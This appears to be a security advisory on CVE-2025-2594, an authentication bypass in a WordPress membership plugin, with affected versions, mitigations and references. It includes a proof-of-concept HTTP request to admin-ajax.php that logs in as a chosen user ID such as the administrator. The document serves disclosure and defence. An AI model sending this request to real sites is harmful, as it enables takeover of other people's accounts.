CVE-2025-2594: Critical Authentication Bypass in WordPress User Registration & Membership Plugin

A high-severity vulnerability (CVE-2025-2594) has been identified in the WordPress User Registration & Membership plugin, allowing unauthenticated attackers to gain administrative access by exploiting improper input validation in an AJAX handler. The flaw affects versions ≤4.1.2 (Free) and ≤5.1.2 (Pro), with patches available in 4.1.3 and 5.1.3 respectively. This vulnerability has been assigned a CVSS score of 8.1 (High) due to its potential for complete system compromise.

TL;DR:
– **Vulnerability**: Authentication bypass via AJAX handler (`user_registration_membership_confirm_payment`)
– **Affected Versions**: Free ≤4.1.2, Pro ≤5.1.2
– **Impact**: Full account takeover (including admin)
– **CVSS**: 8.1 (High)
– **Patch**: Upgrade to Free 4.1.3+ or Pro 5.1.3+

Technical Analysis

The vulnerability stems from inadequate validation in the `confirm_payment()` function when processing AJAX requests. Attackers can craft a POST request to `wp-admin/admin-ajax.php` with a target user’s ID and the `auto_login` parameter set to true, bypassing authentication checks entirely. The Membership Addon must be enabled for exploitation.

A proof-of-concept HTTP request demonstrates the attack vector:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [target]
Content-Type: multipart/form-data; boundary=...

--boundary
Content-Disposition: form-data; name="action"
user_registration_membership_confirm_payment
--boundary
Content-Disposition: form-data; name="member_id"
1  # Target user ID (e.g., admin)
--boundary
Content-Disposition: form-data; name="form_response"
{"auto_login": true}

Successful exploitation returns a JSON response indicating authentication success, granting immediate access to the targeted account.

Mitigation Strategies

Organizations using affected versions should implement the following measures immediately:

1. **Patch Management**:
– Upgrade to Free v4.1.3+ or Pro v5.1.3+
– Verify plugin integrity after update

2. **Temporary Workarounds**:
– Disable the Membership Addon if not required
– Implement WAF rules to block suspicious AJAX requests

3. **Monitoring**:
– Review authentication logs for unusual patterns
– Monitor `admin-ajax.php` access attempts

For environments requiring additional protection, consider implementing IP restrictions for administrative endpoints and deploying secondary authentication mechanisms.

Security Implications

This vulnerability highlights the risks associated with insufficient input validation in WordPress plugins, particularly those handling authentication functions. The ease of exploitation and high impact make it a prime target for malicious actors. Historical data suggests similar vulnerabilities in membership plugins often lead to widespread compromises when left unpatched.

Security teams should prioritize:
– Immediate patching of affected systems
– Review of all WordPress plugins with authentication functionality
– Implementation of layered defense strategies

Conclusion

CVE-2025-2594 represents a significant threat to WordPress installations using the User Registration & Membership plugin. The availability of public proof-of-concepts increases the likelihood of rapid exploitation in the wild. Organizations must act swiftly to apply patches and implement additional security controls to prevent potential breaches.

For ongoing monitoring, refer to the following resources:
– WPScan vulnerability database
– NVD updates
– Plugin changelogs

References

1. CVE-2025-2594 Detail. National Vulnerability Database.
2. ubaydev/CVE-2025-2594. GitHub PoC Repository.
3. User Registration & Membership Authentication Bypass. WPScan Vulnerability Report.
4. Vulnrichment Report. Vulners.
5. CVE-2025-2594 Entry. Tenable.